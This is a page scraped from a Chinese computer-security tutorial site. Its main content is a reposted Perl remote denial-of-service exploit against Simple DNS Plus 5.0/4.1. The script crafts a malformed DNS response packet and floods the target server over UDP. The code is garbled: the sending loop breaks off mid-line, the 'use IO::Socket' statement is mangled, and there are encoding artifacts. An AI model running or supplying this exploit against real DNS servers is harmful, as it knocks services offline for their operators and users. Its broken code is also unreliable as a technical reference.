'UDP')||die("CantconnectDNSserver");$..." />
 手机
当前位置:查字典教程网 >电脑 >电脑安全教程 >Simple DNS Plus
Simple DNS Plus
摘要:#!/usr/bin/perl#SimpleDNSPlus5.0/4.1"$ARGV[0]:$ARGV[1]",Proto=>'UDP')|...

#!/usr/bin/perl

# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit

#

# usage: sdns-dos.pl

# Exploit written by Exodus.

# .iluse IO::Socket;if(@ARGV < 3){

print("sdns-dos.pl ");

}

$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server"); $address = $ARGV[0];$trans = pack("H4","1337");

$flags = pack("B16","1000010110110000");

$question = pack("H4","0001");

$answerRR = pack("H4","0001");

$authorityRR = pack("H4","0000");

$additionlRR = pack("H4","0000");

$type = pack("H4","0001"); # A host name

$class = pack("H4","0001"); # IN@parts = split(/./,$address);

foreach $part (@parts)

{

$packedlen = pack("H2",sprintf("x",length($part)));

$address2 .= $packedlen.$part;

}

$query = $address2. "�00" . $type . $class;$aname = pack("H4","c00c");

$atype = pack("H4","0001");

$aclass = pack("H4","0001");

$ttl = pack("H8","0000008d");

$dlen = pack("H4","0004");

$addr = inet_aton("127.0.0.1");

$answer = $aname . $atype . $aclass . $ttl . $dlen . $addr;$payload = $trans . $flags . $question . $answerRR

. $authorityRR . $additionlRR . $query . $answer;print "sending $ARGV[2] packets… ";

for($i=0;$i

【Simple DNS Plus】相关文章:

修复boot.ini文件非法的方法

电商账户登录安全

QQ电脑管家怎么开启护眼模式?

电脑输入法不能使用的原因

浅析XSS与XSSI异同

Discuz Php开源论坛安全提问算法

教你如何抢掉局域网内所有IP

怎样利用架构廉价的追踪网络中的入侵者

McAfee 初始化 common updater 子系统失败解决方法小结

警告:如果你的密码设置成这20个,赶紧改了

精品推荐
分类导航